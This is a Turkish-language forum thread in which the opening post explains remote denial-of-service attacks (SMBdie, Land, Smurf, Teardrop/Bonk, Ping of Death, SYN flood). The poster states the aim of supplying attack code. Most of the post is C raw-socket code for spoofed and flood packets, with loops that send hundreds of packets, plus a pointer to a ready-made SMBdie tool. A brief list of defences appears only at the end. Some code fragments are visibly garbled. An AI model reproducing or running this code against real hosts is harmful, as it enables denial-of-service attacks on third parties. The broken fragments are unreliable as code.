İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

uzaktan saldırılar

12-06-2009 17:29
#1
atlas_tr - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2008
Nereden:
NErDe OLsam BEğeNİRsin
Mesajlar:
2.383
Teşekkür (Etti):
19
Teşekkür (Aldı):
189
Konular:
389
Ticaret:
(0) %
İnternetdeki saldırılarda Uzaktan Saldırı en çok konuşulan konuların başında gelir.Bu saldırılar internetde genelde "DDoS","DoS","Syn-flood","PoD"... gibi isimlerle anılırlar.
Bu saldırıların nasıl yapıldığının yanında bu saldırılar için kullanılabilecek C++ kodlarını da veremeye çalışacam.

İnternet ilk olarak USA milli ordusunda çıkmasına bakmayarak çok şaşırtıcıdır ki burada kullanılan protokol olan TCP/IP o kadar da güvenli değildir.Özellikle TCP/IP nin bazı
özelliklerindendir ki bu tür uzaktan saldırılar yapılabiliyor.Aynı zamanda bu saldırılarda İşletim sisteminde bulunan zayıf noktalarının da büyük rolü var.

Uzaktan Saldırılar için ihtiyaçlar.

Bu tür bir saldırının yapılabilmesi için en az bir tane internete bağlı bir bilgisayara ihtiyaç vardır .Bir tane bilgisayarla yapılan bu tür saldırılara "DoS"(Denial of Service) denir.
Fakat yapılabilecek saldırı DDoS (Distributed Denial of Service) olacaksa ne kadar fazla makina olursa o kadarda saldırının başarılı olması muhtemeldir.
Bunun için de genelde bir çok makinayı ele geçirecek ve bu doğrultuda kullanacak virüs(trojan,worm) yazılır ve internetde yayılması sağlanır.
Daha sonra ise aynı anda hedefe toplu sorgu yapılmaya çalışılıyor ve bu şekilde hedefteki bilgisayar sisteminin bu sorgulara cevap vermeye yetişemeyerek servis dışı kalması sağlanır.


"SMBdie" Saldırısı

SMB (Server Message Block) - Bu Microsoft un windows ta bulunan dosya,yazıcı yönetimi ile ilgili bir protokoldür.NETBIOS açık olan Windows (NT/2k/XP/.NET RC1) yapılan
bu tür bir saldırı onu etkisiz hale getirmeye yeterlidir.Teorik olarak SMBdie saldırısı ile uzaktaki makinada istenilen kod çalıştırılabilir.Pratikte ise bu yöntemle effektif DoS saldırısı
yapıla biliyor.SMB ni sıradan çıkarmak için o makinaya özel bir sorgu gönderilmesi lazımdır.Hatta bu saldırıyı otomatik hale getirmek için program mevcuttur bu programı
packetstorm.linuxsecurity.com sitesinde (programın ismi SMBdie) indirebilirsiniz.Bu programla saldırıyı gerçekleştirmek için yapmanız gereken şey kurbanın IP adresini ve NETBIOS
isimini girmeniz gerekir.Linux altında çalışan SMB ler içinde buna benzer program yazılabilir.

"Land" Saldırısı

Acaba DoS ve buna benzer saldırısında internete bir sürü sorgu gönderiyoruz, bunu yapmak zorundamıyız? Hayır! Çünki bunu kurban bilgisayarın kenidisine de yaptırabiliriz.
Bu yöntemle bilgisayarı kendisini yok eden kamikaze(kendine suikast yapan) dönüştüre biliriz.Bu yöntemde asıl amaç kurban bilgisayarın kendi kendisine
(Buna TCP/IP izin veriyor) fazla sayıda sorgu göndermesini ve servis dışı olmasını sağlamaktır.Bunu yapmak için kurbana gönderen adres kısmında kendi IP’si yazılı olan
IP paketi gönderiyoruz.Gönderenin portu ile Alıcı portunun da aynı olmasına dikkat ediyoruz.Bazı işletim sistemleri bu tür paketleri alınca IP paketdeki gönderen adresine yani kendisine
cevap göndermeye çalışıyorlar.Bu şekilde sonsuz bir döngü oluşuyor ve sistemin devre dışı kalıyor.Bu eski yöntemin en önemli kod kısımlarına bakalım:

//tanımlar
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
struct ip * ipheader=(struct ip *) buffer;

//ismine göre host arıyoruz.
hoste = gethostbyname(argv[1]);
bcopy(hoste-> h_addr,&sin.sin_addr,hoste-> h_length);

//port numarasını sayıya çeviriyoruz.
sin.sin_port = htons(atoi(argv[2]));
sock = socket(AF_INET, SOCK_RAW, 255);

//gönderenin ve alıcının adreslerini ayarlıyoruz.
ipheader-> ip_src=sin.sin_addr;
ipheader-> ip_dst=sin.sin_addr;

//gönderenin ve alıcının port numaralarını ayarlıyoruz.
tcpheader-> th_sport=sin.sin_port;
tcpheader-> th_dport=sin.sin_port;

//paketi gönderiyoruz.
sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in);

Bu tür Land saldırılarının çok daha gelişmiş ve yenileri vardır.Bunlardan biride internetde bulunabilen "La Tierra" dır.


"Smurf" saldırısı
Yukarıda gördüğümüz "Land" saldırısı tüm işletim sistemlerinde olmadığından bazen etkisiz kalabiliyor.Eğer biz gönderen adresinde kurbanın IP’si
yazılı ICMP paketini broadcast olarak gönderirsek Bu sorguyu alan tüm subnete ait makinalar bu pakete cevap vermek için kurbanın bilgisayarına cevap paketleri yollayacaklar
ve bu şekilde Smurf denen bu saldırıyı gerçekleştirmiş olacağız.Bu yöntemle alakalı kodu görelim:

**** smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
// IP-başlık
struct iphdr *ip;

// ICMP-başlık
struct icmphdr *icmp;

char *packet;
packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

//IP-paketini oluşturalım
ip-> tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip-> ihl = 5;
ip-> version = 4;
ip-> ttl = 255;
ip-> tos = 0;
ip-> frag_off = 0;
ip-> protocol = IPPROTO_ICMP;
ip-> saddr = sin.sin_addr.s_addr;
ip-> daddr = dest;
ip-> check = in_chksum((u_short *)ip, sizeof(struct iphdr));

//ICMP-paketini oluşturalım
icmp-> type = 8;
icmp-> code = 0;
icmp-> checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

//paketi gönderelim
sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
free(packet);
}

Broadcast adresleri ile ilgili : subnet için bu adresler 208.131.0.0 ,208.131.255.255 olacaktır.

"Teardrop ve Bonk" saldırısı

Bu saldırı bazı işletim sistemlerinin bölünmüş paketleri toplama işlemindeki bazı zayıflıklardan yararlanıyor.Bu saldırıda bilgisayara gönderilen 2 özel olarak hazırlanmış
paket parçası kurbanın bilgisayarının hafızasının silinmesini sağlıyor.Bonk atağı için olan kodu görelim:

//tanımlar
#define FRG_CONST 0x3
#define PADDING 0x1c
struct udp_pkt
{
struct iphdr ip;
struct udphdr udp;
char data[PADDING];
} pkt;

**** fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt, int dst_prt)
{
int bs;
struct sockaddr_in to;

//başlık paketini sıfırlayalım
memset(&pkt, 0, psize);

// şimdi ise IP-başlığını oluşturalım
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(udplen + iplen + PADDING);
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = IP_UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;

// Bölünmüş paket
pkt.ip.frag_off = htons(0x2000);

// UDP-başlığını oluşturalım
pkt.udp.source = htons(src_prt);
pkt.udp.dest = htons(dst_prt);
pkt.udp.len = htons(8 + PADDING);

//İlk paketi gönderelim
to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr));

//İkinci paketi gönderelmi
pkt.ip.frag_off = htons(FRG_CONST + 1);
pkt.ip.tot_len = htons(iplen + FRG_CONST);
bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0, (struct sockaddr *) &to, sizeof(struct sockaddr));
}

main()
{
// Daha etkili olmak için bu şekilde 1000 kadar paket gönderilecektir.
for (i = 0; i < 1000; ++i)
{
fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
usleep(10000);
}
}


"Ping of Death" Saldırısı

Bu saldırıda özel olarak hazırlanmış 64 kb büyük ICMP paket gönderilerek sağlanıyor.Örnek kod:

#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

//ICMP-paketini hazırlıyoruz
icmp-> icmp_type = ICMP_ECHO;
icmp-> icmp_code = 0;
icmp-> icmp_cksum = htons(~(ICMP_ECHO << );
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
{
// değişimi hesaplıyoruz
ip-> ip_off = FIX(offset > > 3);
if (offset < 65120)
ip-> ip_off | = FIX(IP_MF);
else
ip-> ip_len = FIX(41;

// paketi gönderiyoruz.
sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst);

//doğrulama
if (offset == 0)
{
icmp-> icmp_type = 0;
icmp-> icmp_code = 0;
icmp-> icmp_cksum = 0;
}
}


"SYN flooding" Saldırısı

En sonda anlatacağım bu saldırı türü bir önce anlatılanlardan daha üniversaldır(genel amaçlı).Bu saldırıyı her türlü işletim sistemine uygulamak olur.
TCP/IP de 2 bilgisayar haberleşmeye başlamadan önce "el sıkma,tokalaşma" yapılır.Yani A bilgisayarı B bilgisayarına bağlantı isteyini belirten SYN paketi gönderir.
Buna cevap olarak B bilgisayarıda SYN/ACK paketini gönderir.Bu paketi alan A bilgisayarı B bilgisayarın hazır oldugunu anlıyor ve son olarak da ACK paketini göndererek
bağlantıyı sağlamış oluyor.Fakat Server bilgisayara çok fazla sayıda bağlantı isteği (yani SYN paketi) gönderilirse bunların bir kısmını red etmeye başlıyor.İşte SYN flooding denen
saldırı bu olayı kullanarak gerçekleşiyor, yani kurban bilgisayara çok sayıda SYN paketi göndererek diğer tüm gelen istekleri kabul etmemesini sağlıyor ve Servis dışı kalmış oluyor.
Şimdi bu saldırı için kodu görelim:

// TPC/IP başlığı
struct send_tcp
{
struct iphdr ip;
struct tcphdr tcp;
} send_tcp;

// başlık
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
} pseudo_header;

int i;
int tcp_socket;
struct sockaddr_in sin;
int sinlen;
//IP-paketinin oluşturulması
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 0;
send_tcp.ip.tot_len = htons(40);
send_tcp.ip.id = getpid();
send_tcp.ip.frag_off = 0;
send_tcp.ip.ttl = 255;
send_tcp.ip.protocol = IPPROTO_TCP;
send_tcp.ip.check = 0;
send_tcp.ip.saddr = source_addr;
send_tcp.ip.daddr = dest_addr;

//TCP-paketinin oluşturulması
send_tcp.tcp.source = getpid();
send_tcp.tcp.dest = htons(dest_port);
send_tcp.tcp.seq = getpid();
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.doff = 5;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.res2 = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;

//sin ayarları
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.source;
sin.sin_addr.s_addr = send_tcp.ip.daddr;

//socket açıyoruz
tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
for(i = 0; i < numsyns; i++)
{
//ayarlamalar
send_tcp.tcp.source++;
send_tcp.ip.id++;
send_tcp.tcp.seq++;
send_tcp.tcp.check = 0;
send_tcp.ip.check = 0;

// ip kontrol sayısını hesaplıyoruz.
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);

// başlıkları ayarlıyoruz.
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
sinlen = sizeof(sin);

// paketi gönderiyoruz.
sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sinlen);
}
close(tcp_socket);


SONUÇ
Şimdi bu kadar saldırıları anlatdıktan sonra onlardan nasıl korunacağımızı anlatalım:
* Firewall kullanın
* Antivirüs kullanın
* Güvenlikle ilgili son gelişmeleri takip edin.
* Yamaları,Servis packleri kurmayı unutmayın
* SMBdie saldırısından korunmak için Microsoftun bu saldırıya karşı çıkardığı yamayı kurun.
* Smurf saldırısın tespit için network trafiğini analiz edin.
* Yeni işletim sistemleri "Bonk" saldırısından etkilenmiyorlar.
Burada anlatılan saldırı çeşitleri dışında da saldırı türleri mevcuttur.Bunlara örnek olarak DNS flooding, Ping flooding, UDP bomb ...
Bu tür saldırılar hakkında daha fazla bilgi için aşagıdaki güvenlik sitelerine bakabilirsiniz
http://www.insecure.org,www.security...xsecurity.com/
Kullanıcı İmzası

16-06-2009 22:01
#2
Üyelik tarihi:
07/2008
Nereden:
istanbul
Mesajlar:
1.021
Teşekkür (Etti):
0
Teşekkür (Aldı):
53
Konular:
39
Ticaret:
(0) %
tşkler
22-06-2009 09:01
#3
işlemci - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2008
Mesajlar:
34
Teşekkür (Etti):
0
Teşekkür (Aldı):
3
Konular:
0
Ticaret:
(0) %
deneme yapılmalı...

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı